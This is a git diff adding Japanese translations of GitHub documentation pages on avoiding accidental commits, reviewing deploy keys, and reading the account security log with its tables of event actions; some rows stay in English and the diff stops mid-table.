-   **Note:** You can also achieve this by pushing your filtered history to a new or empty repository and then making a fresh clone from {% data variables.product.product_name %}.
+   **注釈:** フィルタした履歴を、新規または空のリポジトリにプッシュして、{% data variables.product.product_name %} から新しいクローンを作成することによっても、同じことができます。
 
   {% endnote %}
 
-## Avoiding accidental commits in the future
+## 将来にわたって誤ったコミットを回避する
 
-There are a few simple tricks to avoid committing things you don't want committed:
+コミット対象でないものがコミットされるのを回避するためのシンプルな方法がいくつかあります。
 
-- Use a visual program like [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) or [gitk](https://git-scm.com/docs/gitk) to commit changes. Visual programs generally make it easier to see exactly which files will be added, deleted, and modified with each commit.
-- Avoid the catch-all commands `git add .` and `git commit -a` on the command line—use `git add filename` and `git rm filename` to individually stage files, instead.
-- Use `git add --interactive` to individually review and stage changes within each file.
-- Use `git diff --cached` to review the changes that you have staged for commit. This is the exact diff that `git commit` will produce as long as you don't use the `-a` flag.
+- [{% data variables.product.prodname_desktop %}](https://desktop.github.com/) や [gitk](https://git-scm.com/docs/gitk) のようなビジュアルプログラムを使用して、変更をコミットします。 ビジュアルプログラムは通常、各コミットでどのファイルが追加、削除、変更されるかを正確に把握しやすくするものです。
+- コマンドラインでは catch-all コマンド、`git add .` および `git commit -a` は使用しないようにします。ファイルを個別にステージングするには、代わりに `git add filename` および `git rm filename` を使用します。
+- 各ファイル内の変更を個別にレビューしステージングするには、`git add --interactive` を使用します。
+- コミットのためにステージングされている変更をレビューするには、`git diff --cached` を使用します。 これはまさに、`git commit` で `-a` フラグを使用しない限りにおいて生成される diff です。
 
-## Further reading
+## 参考リンク
 
 - [`git filter-repo` man page](https://htmlpreview.github.io/?https://github.com/newren/git-filter-repo/blob/docs/html/git-filter-repo.html)
-- [Pro Git: Git Tools - Rewriting History](https://git-scm.com/book/en/Git-Tools-Rewriting-History)
+- [Pro Git：Git ツール - 履歴の書き換え](https://git-scm.com/book/en/Git-Tools-Rewriting-History)
 - "[About Secret scanning](/code-security/secret-security/about-secret-scanning)"
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
index b3629bba82..b549916188 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-deploy-keys.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your deploy keys
-intro: You should review deploy keys to ensure that there aren't any unauthorized (or possibly compromised) keys. You can also approve existing deploy keys that are valid.
+title: デプロイ キーをレビューする
+intro: デプロイ キーをレビューして、許可されていない (あるいは侵害された可能性のある) キーがないことを確認してください。 有効な既存のデプロイ キーを承認することもできます。
 redirect_from:
   - /articles/reviewing-your-deploy-keys
   - /github/authenticating-to-github/reviewing-your-deploy-keys
@@ -13,16 +13,15 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Deploy keys
+shortTitle: デプロイキー
 ---
+
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
-3. In the left sidebar, click **Deploy keys**.
-![Deploy keys setting](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
-4. On the Deploy keys page, take note of the deploy keys associated with your account. For those that you don't recognize, or that are out-of-date, click **Delete**. If there are valid deploy keys you'd like to keep, click **Approve**.
-	![Deploy key list](/assets/images/help/settings/settings-deploy-key-review.png)
+3. 左サイドバーで [**Deploy keys**] をクリックします。 ![デプロイキーの設定](/assets/images/help/settings/settings-sidebar-deploy-keys.png)
+4. [Deploy keys] ページで、自分のアカウントに関連付けられているデプロイ キーを書き留めます。 覚えていないか古くなっている場合は、[**Delete**] をクリックします。 残しておきたい有効なデプロイ キーがある場合は、[**Approve**] をクリックします。 ![デプロイキーのリスト](/assets/images/help/settings/settings-deploy-key-review.png)
 
-For more information, see "[Managing deploy keys](/guides/managing-deploy-keys)."
+詳しい情報については、「[デプロイキーを管理する](/guides/managing-deploy-keys)」を参照してください。
 
-## Further reading
-- [Configuring notifications](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
+## 参考リンク
+- [通知を設定する](/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications#organization-alerts-notification-options)
diff --git a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
index df5bf71441..517eec4f18 100644
--- a/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
+++ b/translations/ja-JP/content/authentication/keeping-your-account-and-data-secure/reviewing-your-security-log.md
@@ -1,6 +1,6 @@
 ---
-title: Reviewing your security log
-intro: You can review the security log for your user account to better understand actions you've performed and actions others have performed that involve you.
+title: セキュリティログをレビューする
+intro: ユーザアカウントのセキュリティログをレビューして、自分が実行したアクションと、他のユーザが実行したアクションについて詳しく知ることができます。
 miniTocMaxHeadingLevel: 3
 redirect_from:
   - /articles/reviewing-your-security-log
@@ -14,254 +14,248 @@ versions:
 topics:
   - Identity
   - Access management
-shortTitle: Security log
+shortTitle: セキュリティ ログ
 ---
-## Accessing your security log
+
+## セキュリティログにアクセスする
 
 The security log lists all actions performed within the last 90 days.
 
 {% data reusables.user_settings.access_settings %}
 {% ifversion fpt or ghae or ghes or ghec %}
-2. In the user settings sidebar, click **Security log**.
-  ![Security log tab](/assets/images/help/settings/audit-log-tab.png)
+2. ユーザ設定サイドバーで [**Security log**] をクリックします。 ![セキュリティログのタブ](/assets/images/help/settings/audit-log-tab.png)
 {% else %}
 {% data reusables.user_settings.security %}
-3. Under "Security history," your log is displayed.
-  ![Security log](/assets/images/help/settings/user_security_log.png)
-4. Click on an entry to see more information about the event.
-  ![Security log](/assets/images/help/settings/user_security_history_action.png)
+3. [Security history] の下に、自分のログが表示されます。 ![セキュリティ ログ](/assets/images/help/settings/user_security_log.png)
+4. エントリをクリックして、イベントに関する詳細情報を表示します。 ![セキュリティ ログ](/assets/images/help/settings/user_security_history_action.png)
 {% endif %}
 
 {% ifversion fpt or ghae or ghes or ghec %}
-## Searching your security log
+## セキュリティログを検索する
 
 {% data reusables.audit_log.audit-log-search %}
 
-### Search based on the action performed
+### 実行されたアクションに基づく検索
 {% else %}
-## Understanding events in your security log
+## セキュリティログでのイベントを理解する
 {% endif %}
 
-The events listed in your security log are triggered by your actions. Actions are grouped into the following categories:
+セキュリティログにリストされているイベントは、アクションによってトリガーされます。 アクションは次のカテゴリに分類されます。
 
-| Category name | Description
-|------------------|-------------------{% ifversion fpt or ghec %}
-| [`billing`](#billing-category-actions) | Contains all activities related to your billing information.
-| [`codespaces`](#codespaces-category-actions) | Contains all activities related to {% data variables.product.prodname_codespaces %}. For more information, see "[About {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/about-codespaces)."
-| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | Contains all activities related to signing the {% data variables.product.prodname_marketplace %} Developer Agreement.
-| [`marketplace_listing`](#marketplace_listing-category-actions) | Contains all activities related to listing apps in {% data variables.product.prodname_marketplace %}.{% endif %}
-| [`oauth_access`](#oauth_access-category-actions) | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %}
-| [`payment_method`](#payment_method-category-actions) | Contains all activities related to paying for your {% data variables.product.prodname_dotcom %} subscription.{% endif %}
-| [`profile_picture`](#profile_picture-category-actions) | Contains all activities related to your profile picture.
-| [`project`](#project-category-actions) | Contains all activities related to project boards.
-| [`public_key`](#public_key-category-actions) | Contains all activities related to [your public SSH keys](/articles/adding-a-new-ssh-key-to-your-github-account).
-| [`repo`](#repo-category-actions) | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %}
-| [`sponsors`](#sponsors-category-actions) | Contains all events related to {% data variables.product.prodname_sponsors %} and sponsor buttons (see "[About {% data variables.product.prodname_sponsors %}](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)" and "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)"){% endif %}{% ifversion ghes or ghae %}
-| [`team`](#team-category-actions) | Contains all activities related to teams you are a part of.{% endif %}{% ifversion not ghae %}
-| [`two_factor_authentication`](#two_factor_authentication-category-actions) | Contains all activities related to [two-factor authentication](/articles/securing-your-account-with-two-factor-authentication-2fa).{% endif %}
-| [`user`](#user-category-actions) | Contains all activities related to your account.
+| カテゴリ名                                                                                  | 説明                                                                                                                                                                                                                                                                                                                                       |
+| -------------------------------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |{% ifversion fpt or ghec %}
+| [`支払い`](#billing-category-actions)                                                     | 自分の支払い情報に関連するすべての活動が対象です。                                                                                                                                                                                                                                                                                                                |
+| [`codespaces`](#codespaces-category-actions)                                           | {% data variables.product.prodname_codespaces %} に関連するすべての活動が対象です。 詳しい情報については、「[{% data variables.product.prodname_codespaces %} について](/github/developing-online-with-codespaces/about-codespaces)」を参照してください。                                                                                                                            |
+| [`marketplace_agreement_signature`](#marketplace_agreement_signature-category-actions) | {% data variables.product.prodname_marketplace %} Developer Agreement の署名に関連するすべての活動が対象です。                                                                                                                                                                                                                                               |
+| [`marketplace_listing`](#marketplace_listing-category-actions)                         | {% data variables.product.prodname_marketplace %} に一覧表示しているアプリに関連するすべての活動が対象です。{% endif %}
+| [`oauth_access`](#oauth_access-category-actions)                                       | Contains all activities related to [{% data variables.product.prodname_oauth_apps %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps) you've connected with.{% ifversion fpt or ghec %}
+| [`payment_method`](#payment_method-category-actions)                                   | {% data variables.product.prodname_dotcom %} プランに対する支払いに関連するすべての活動が対象です。{% endif %}
+| [`profile_picture`](#profile_picture-category-actions)                                 | 自分のプロファイル写真に関連するすべての活動が対象です。                                                                                                                                                                                                                                                                                                             |
+| [`project`](#project-category-actions)                                                 | プロジェクト ボードに関連するすべての活動が対象です。                                                                                                                                                                                                                                                                                                              |
+| [`public_key`](#public_key-category-actions)                                           | [公開 SSH キー](/articles/adding-a-new-ssh-key-to-your-github-account)に関連するすべての活動が対象です。                                                                                                                                                                                                                                                      |
+| [`repo`](#repo-category-actions)                                                       | Contains all activities related to the repositories you own.{% ifversion fpt or ghec %}
+| [`sponsors`](#sponsors-category-actions)                                               | {% data variables.product.prodname_sponsors %} およびスポンサーボタンに関連するすべてのイベントが対象です (「[{% data variables.product.prodname_sponsors %} について](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)」と「[リポジトリにスポンサーボタンを表示する](/articles/displaying-a-sponsor-button-in-your-repository)」を参照){% endif %}{% ifversion ghes or ghae %}
+| [`Team`](#team-category-actions)                                                       | 所属する Team に関連するすべてのアクティビティが対象です。{% endif %}{% ifversion not ghae %}
+| [`two_factor_authentication`](#two_factor_authentication-category-actions)             | [2 要素認証](/articles/securing-your-account-with-two-factor-authentication-2fa)に関連するすべてのアクティビティが対象です。{% endif %}
+| [`ユーザ`](#user-category-actions)                                                        | アカウントに関連するすべての活動が対象です。                                                                                                                                                                                                                                                                                                                   |
 
 {% ifversion fpt or ghec %}
 
-## Exporting your security log
+## セキュリティログをエクスポートする
 
 {% data reusables.audit_log.export-log %}
 {% data reusables.audit_log.exported-log-keys-and-values %}
 
 {% endif %}
 
-## Security log actions
+## セキュリティログのアクション
 
-An overview of some of the most common actions that are recorded as events in the security log.
+セキュリティログにイベントとして記録される最も一般的なアクションの概要です。
 
 {% ifversion fpt or ghec %}
 
-### `billing` category actions
+### `billing` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `change_billing_type` | Triggered when you [change how you pay](/articles/adding-or-editing-a-payment-method) for {% data variables.product.prodname_dotcom %}.
-| `change_email` | Triggered when you [change your email address](/articles/changing-your-primary-email-address).
+| アクション                 | 説明                                                                                                                   |
+| --------------------- | -------------------------------------------------------------------------------------------------------------------- |
+| `change_billing_type` | {% data variables.product.prodname_dotcom %} の[支払い方法を変更する](/articles/adding-or-editing-a-payment-method)ときにトリガーされます。 |
+| `change_email`        | [自分のメール アドレスを変更する](/articles/changing-your-primary-email-address)ときにトリガーされます。                                        |
 
-### `codespaces` category actions
+### `codespaces` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [create a codespace](/github/developing-online-with-codespaces/creating-a-codespace).
-| `resume` | Triggered when you resume a suspended codespace.
-| `delete` | Triggered when you [delete a codespace](/github/developing-online-with-codespaces/deleting-a-codespace).
-| `manage_access_and_security` | Triggered when you update [the repositories a codespace has access to](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
-| `trusted_repositories_access_update` | Triggered when you change your user account's [access and security setting for {% data variables.product.prodname_codespaces %}](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces).
+| アクション                                | 説明                                                                                                                                                                                   |
+| ------------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `create`                             | [コードスペースを作成](/github/developing-online-with-codespaces/creating-a-codespace)するとトリガーされます。                                                                                             |
+| `resume`                             | 中断されたコードスペースを再開するとトリガーされます。                                                                                                                                                          |
+| `delete`                             | [コードスペースを削除](/github/developing-online-with-codespaces/deleting-a-codespace)するとトリガーされます。                                                                                             |
+| `manage_access_and_security`         | [コードスペースがアクセスできるリポジトリ](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)を更新するとトリガーされます。                                                         |
+| `trusted_repositories_access_update` | ユーザーアカウントの [ アクセスと、{% data variables.product.prodname_codespaces %} のセキュリティ設定](/github/developing-online-with-codespaces/managing-access-and-security-for-codespaces)を変更するとトリガーされます。 |
 
-### `marketplace_agreement_signature` category actions
+### `marketplace_agreement_signature` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement.
+| アクション    | 説明                                                                                      |
+| -------- | --------------------------------------------------------------------------------------- |
+| `create` | {% data variables.product.prodname_marketplace %} Developer Agreement に署名するときにトリガーされます。 |
 
-### `marketplace_listing` category actions
+### `marketplace_listing` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}.
-| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}.
-| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}.
-| `redraft` | Triggered when your listing is sent back to draft state.
-| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}.
+| アクション     | 説明                                                                                  |
+| --------- | ----------------------------------------------------------------------------------- |
+| `承認`      | 一覧表を {% data variables.product.prodname_marketplace %}に掲載することが承認されるときにトリガーされます。     |
+| `create`  | {% data variables.product.prodname_marketplace %} で自分のアプリケーションの一覧表を作成するときにトリガーされます。 |
+| `delist`  | 一覧表が {% data variables.product.prodname_marketplace %} から削除されるときにトリガーされます。          |
+| `redraft` | 一覧表がドラフト状態に戻されるときにトリガーされます。                                                         |
+| `reject`  | 一覧表が {% data variables.product.prodname_marketplace %} に掲載することを認められないときにトリガーされます。   |
 
 {% endif %}
 
 ### `oauth_authorization` category actions
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).
+| アクション     | 説明                                                                                                                                                                                                                                                                                                                                                                                                    |
+| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create`  | Triggered when you [grant access to an {% data variables.product.prodname_oauth_app %}](/github/authenticating-to-github/keeping-your-account-and-data-secure/authorizing-oauth-apps).                                                                                                                                                                                                              |
 | `destroy` | Triggered when you [revoke an {% data variables.product.prodname_oauth_app %}'s access to your account](/articles/reviewing-your-authorized-integrations){% ifversion fpt or ghae-issue-4374 or ghes > 3.2 or ghec %} and when [authorizations are revoked or expire](/github/authenticating-to-github/keeping-your-account-and-data-secure/token-expiration-and-revocation).{% else %}.{% endif %}
 
 {% ifversion fpt or ghec %}
 
-### `payment_method` category actions
+### `payment_method` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `clear` | Triggered when [a payment method](/articles/removing-a-payment-method) on file is removed.
-| `create` | Triggered when a new payment method is added, such as a new credit card or PayPal account.
-| `update` | Triggered when an existing payment method is updated.
+| アクション    | 説明                                                      |
+| -------- | ------------------------------------------------------- |
+| `create` | 新しいクレジット カードや PayPal アカウントなど、新たな支払い方法が追加されるときにトリガーされます。 |
+| `update` | 既存の支払い方法が更新されるときにトリガーされます。                              |
 
 {% endif %}
 
-### `profile_picture` category actions
+### `profile_picture` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `update` | Triggered when you [set or update your profile picture](/articles/setting-your-profile-picture/).
+| アクション    | 説明                                                                           |
+| -------- | ---------------------------------------------------------------------------- |
+| `update` | [自分のプロフィール写真を設定または更新する](/articles/setting-your-profile-picture/)ときにトリガーされます。 |
 
-### `project` category actions
+### `project` カテゴリアクション
 
-| Action | Description
-|--------------------|---------------------
-| `access` | Triggered when a project board's visibility is changed.
-| `create` | Triggered when a project board is created.
-| `rename` | Triggered when a project board is renamed.
-| `update` | Triggered when a project board is updated.
-| `delete` | Triggered when a project board is deleted.
-| `link`   | Triggered when a repository is linked to a project board.
-| `unlink` | Triggered when a repository is unlinked from a project board.
-| `update_user_permission` | Triggered when an outside collaborator is added to or removed from a project board or has their permission level changed.
+| アクション                    | 説明                                                                      |
+| ------------------------ | ----------------------------------------------------------------------- |
+| `access`                 | プロジェクト ボードの可視性が変更されるときにトリガーされます。                                        |
+| `create`                 | プロジェクト ボードが作成されるときにトリガーされます。                                            |
+| `rename`                 | プロジェクトボードの名前が変更されるときにトリガーされます。                                          |
+| `update`                 | プロジェクト ボードが更新されるときにトリガーされます。                                            |
+| `delete`                 | プロジェクトボードが削除されるときにトリガーされます。                                             |
+| `link`                   | リポジトリがプロジェクト ボードにリンクされるときにトリガーされます。                                     |
+| `unlink`                 | リポジトリがプロジェクトボードからリンク解除されるときにトリガーされます。                                   |
+| `update_user_permission` | 外部のコラボレータがプロジェクトボードに追加またはプロジェクトボードから削除されたとき、あるいは許可レベルが変更されたときにトリガーされます。 |
 
-### `public_key` category actions
+### `public_key` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account).
-| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).
+| アクション    | 説明                                                                                                                                                                                                                                                         |
+| -------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `create` | Triggered when you [add a new public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/adding-a-new-ssh-key-to-your-github-account). |
+| `delete` | Triggered when you [remove a public SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}](/articles/reviewing-your-ssh-keys).                      |
 
-### `repo` category actions
+### `repo` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `access` | Triggered when you a repository you own is [switched from "private" to "public"](/articles/making-a-private-repository-public) (or vice versa).
-| `add_member` | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository.
-| `add_topic` | Triggered when a repository owner [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.
-| `archived` | Triggered when a repository owner [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %}
-| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
-| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).
-| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
-| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).
-| `destroy` |  Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
-| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
-| `enable` | Triggered when a repository is re-enabled.{% endif %}
-| `remove_member` | Triggered when a {% data variables.product.product_name %} user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository).
-| `remove_topic` | Triggered when a repository owner removes a topic from a repository.
-| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).
-| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository).
-| `transfer_start` | Triggered when a repository transfer is about to occur.
-| `unarchived` | Triggered when a repository owner unarchives a repository.
+| アクション                                 | 説明                                                                                                                                                                                                                                                                                                                           |
+| ------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `access`                              | 自分が所有するリポジトリが["プライベート" から "パブリック" に切り替えられる](/articles/making-a-private-repository-public) (またはその逆) ときにトリガーされます。                                                                                                                                                                                                              |
+| `add_member`                          | Triggered when a {% data variables.product.product_name %} user is {% ifversion fpt or ghec %}[invited to have collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% else %}[given collaboration access](/articles/inviting-collaborators-to-a-personal-repository){% endif %} to a repository. |
+| `add_topic`                           | リポジトリのオーナーがリポジトリに[トピックを追加する](/articles/classifying-your-repository-with-topics)ときにトリガーされます。                                                                                                                                                                                                                                  |
+| `archived`                            | リポジトリのオーナーが[リポジトリをアーカイブする](/articles/about-archiving-repositories)ときにトリガーされます。{% ifversion ghes %}
+| `config.disable_anonymous_git_access` | 公開リポジトリで[匿名の Git 読み取りアクセスが無効になる](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)ときにトリガーされます。                                                                                                                                                                             |
+| `config.enable_anonymous_git_access`  | 公開リポジトリで[匿名の Git 読み取りアクセスが有効になる](/enterprise/{{ currentVersion }}/user/articles/enabling-anonymous-git-read-access-for-a-repository)ときにトリガーされます。                                                                                                                                                                             |
+| `config.lock_anonymous_git_access`    | リポジトリの[匿名の Git 読み取りアクセス設定がロックされる](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)ときにトリガーされます。                                                                                                                                                        |
+| `config.unlock_anonymous_git_access`  | リポジトリの[匿名の Git 読み取りアクセス設定がロック解除される](/enterprise/{{ currentVersion }}/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access)ときにトリガーされます。{% endif %}
+| `create`                              | [新たなリポジトリが作成される](/articles/creating-a-new-repository)ときにトリガーされます。                                                                                                                                                                                                                                                            |
+| `destroy`                             | [リポジトリが削除される](/articles/deleting-a-repository)ときにトリガーされます。{% ifversion fpt or ghec %}
+| `disable`                             | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}{% ifversion fpt or ghec %}
+| `enable`                              | リポジトリが再び有効になるときにトリガーされます。{% endif %}
+| `remove_member`                       | {% data variables.product.product_name %}ユーザが[リポジトリのコラボレーターではなくなる](/articles/removing-a-collaborator-from-a-personal-repository)ときにトリガーされます。                                                                                                                                                                                 |
+| `remove_topic`                        | リポジトリのオーナーがリポジトリからトピックを削除するときにトリガーされます。                                                                                                                                                                                                                                                                                      |
+| `rename`                              | [リポジトリの名前が変更される](/articles/renaming-a-repository)ときにトリガーされます。                                                                                                                                                                                                                                                                |
+| `移譲`                                  | [リポジトリが移譲される](/articles/how-to-transfer-a-repository)ときにトリガーされます。                                                                                                                                                                                                                                                            |
+| `transfer_start`                      | リポジトリの移譲が行われようとしているときにトリガーされます。                                                                                                                                                                                                                                                                                              |
+| `unarchived`                          | リポジトリのオーナーがリポジトリをアーカイブ解除するときにトリガーされます。                                                                                                                                                                                                                                                                                       |
 
 {% ifversion fpt or ghec %}
-### `sponsors` category actions
+### `sponsors` カテゴリアクション
 
-| Action | Description
-|------------------|-------------------
-| `custom_amount_settings_change` | Triggered when you enable or disable custom amounts, or when you change the suggested custom amount (see "[Managing your sponsorship tiers](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)")
-| `repo_funding_links_file_action` | Triggered when you change the FUNDING file in your repository (see "[Displaying a sponsor button in your repository](/articles/displaying-a-sponsor-button-in-your-repository)")
-| `sponsor_sponsorship_cancel` | Triggered when you cancel a sponsorship (see "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsor_sponsorship_create` | Triggered when you sponsor an account (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_payment_complete` | Triggered after you sponsor an account and your payment has been processed (see "[Sponsoring an open source contributor](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)")
-| `sponsor_sponsorship_preference_change` | Triggered when you change whether you receive email updates from a sponsored developer (see "[Managing your sponsorship](/sponsors/sponsoring-open-source-contributors/managing-your-sponsorship)")
-| `sponsor_sponsorship_tier_change` | Triggered when you upgrade or downgrade your sponsorship (see "[Upgrading a sponsorship](/articles/upgrading-a-sponsorship)" and "[Downgrading a sponsorship](/articles/downgrading-a-sponsorship)")
-| `sponsored_developer_approve` | Triggered when your {% data variables.product.prodname_sponsors %} account is approved (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_create` | Triggered when your {% data variables.product.prodname_sponsors %} account is created (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_disable` | Triggered when your {% data variables.product.prodname_sponsors %} account is disabled
-| `sponsored_developer_redraft` | Triggered when your {% data variables.product.prodname_sponsors %} account is returned to draft state from approved state
-| `sponsored_developer_profile_update` | Triggered when you edit your sponsored developer profile (see "[Editing your profile details for {% data variables.product.prodname_sponsors %}](/sponsors/receiving-sponsorships-through-github-sponsors/editing-your-profile-details-for-github-sponsors)")
-| `sponsored_developer_request_approval` | Triggered when you submit your application for {% data variables.product.prodname_sponsors %} for approval (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `sponsored_developer_tier_description_update` | Triggered when you change the description for a sponsorship tier (see "[Managing your sponsorship tiers](/sponsors/receiving-sponsorships-through-github-sponsors/managing-your-sponsorship-tiers)")
-| `sponsored_developer_update_newsletter_send` | Triggered when you send an email update to your sponsors (see "[Contacting your sponsors](/sponsors/receiving-sponsorships-through-github-sponsors/contacting-your-sponsors)")
-| `waitlist_invite_sponsored_developer` | Triggered when you are invited to join {% data variables.product.prodname_sponsors %} from the waitlist (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
-| `waitlist_join` | Triggered when you join the waitlist to become a sponsored developer (see "[Setting up {% data variables.product.prodname_sponsors %} for your user account](/sponsors/receiving-sponsorships-through-github-sponsors/setting-up-github-sponsors-for-your-user-account)")
+| アクション                                         | 説明                                                                                                                                                                                                                                                                  |
+| --------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `custom_amount_settings_change`               | カスタム金額を有効または無効にするとき、または提案されたカスタム金額を変更するときにトリガーされます (「[スポンサーシップ層を管理する](/github/supporting-the-open-source-community-with-github-sponsors/managing-your-sponsorship-tiers)」を参照)。                                                                                      |
+| `repo_funding_links_file_action`              | リポジトリで FUNDING ファイルを変更したときにトリガーされます (「[リポジトリにスポンサーボタンを表示する](/articles/displaying-a-sponsor-button-in-your-repository)」を参照)                                                                                                                                          |
+| `sponsor_sponsorship_cancel`                  | スポンサーシップをキャンセルしたときにトリガーされます (「[スポンサーシップをダウングレードする](/articles/downgrading-a-sponsorship)」を参照)                                                                                                                                                                        |
+| `sponsor_sponsorship_create`                  | アカウントをスポンサーするとトリガーされます (「[オープンソースコントリビューターに対するスポンサー](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)」を参照)                                                                                                                      |
+| `sponsor_sponsorship_payment_complete`        | アカウントをスポンサーし、支払が処理されるとトリガーされます (「[オープンソースコントリビューターに対するスポンサー](/sponsors/sponsoring-open-source-contributors/sponsoring-an-open-source-contributor)」を参照)                                                                                                              |
